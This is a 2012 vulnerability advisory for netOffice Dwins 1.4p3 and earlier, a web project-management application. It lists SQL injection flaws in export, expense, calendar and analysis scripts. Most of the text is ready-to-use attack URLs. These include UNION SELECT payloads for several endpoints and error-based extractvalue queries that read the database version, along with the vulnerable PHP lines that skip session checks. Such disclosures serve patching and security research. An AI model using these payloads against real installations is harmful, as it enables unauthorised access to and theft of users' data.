:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-11-08 ] ################################################################# # [ netOffice Dwins <= 1.4p3 ] SQL Injection Vulnerability # ################################################################# # # Script: "netOffice Dwins is a free web based time tracking, timesheet, # content management, issue tracking, and project management environment." # # Vendor: http://sourceforge.net/projects/netofficedwins/ # Download: http://sourceforge.net/projects/netofficedwins/files/netofficedwins/1.4p3/ # ################################################################# # [SQL Injection] # # reports/export_leaves.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0-- # File: reports/export_leaves.php ( lines: 16-107 ): # ..cut.. # $S_mem = $_GET['S_ATSEL']; //1 # ..cut.. # $checkSession = false; //2 # require_once("../includes/library.php"); # ..cut.. # $query .= " AND wkh.owner IN($S_mem)"; //3 # ..cut.. # $tmpquery = "$query ORDER BY wkh.owner"; //4 # $listWorkHours = new request(); # $listWorkHours->openWorkHours($tmpquery); //5 SQL # ..cut.. # # users/exportuser.php?id=-1 union select 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0-- # File: users/exportuser.php ( lines: 15-21 ): # ..cut.. # $checkSession = false; //1 # require_once("../includes/library.php"); # require_once("../includes/vcard.class.php"); # $id = $_GET['id']; //2 # $tmpquery = " WHERE mem.id=$id"; //3 # $userDetail = new request(); # $userDetail->openMembers($tmpquery); //4 SQL # ..cut.. # # reports/export_person_performance.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0-- # expenses/approveexpense.php?id=-1 union select 0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0--&auth=1&doc=-1 union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0-- # calendar/exportcalendar.php?id=-1' union select 0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1-- # # [Blind SQL Injection] # # analysis/expanddimension.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))-- # analysis/changedimensionsortingorder.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))-- # ### [ dun / 2012 ] #############################################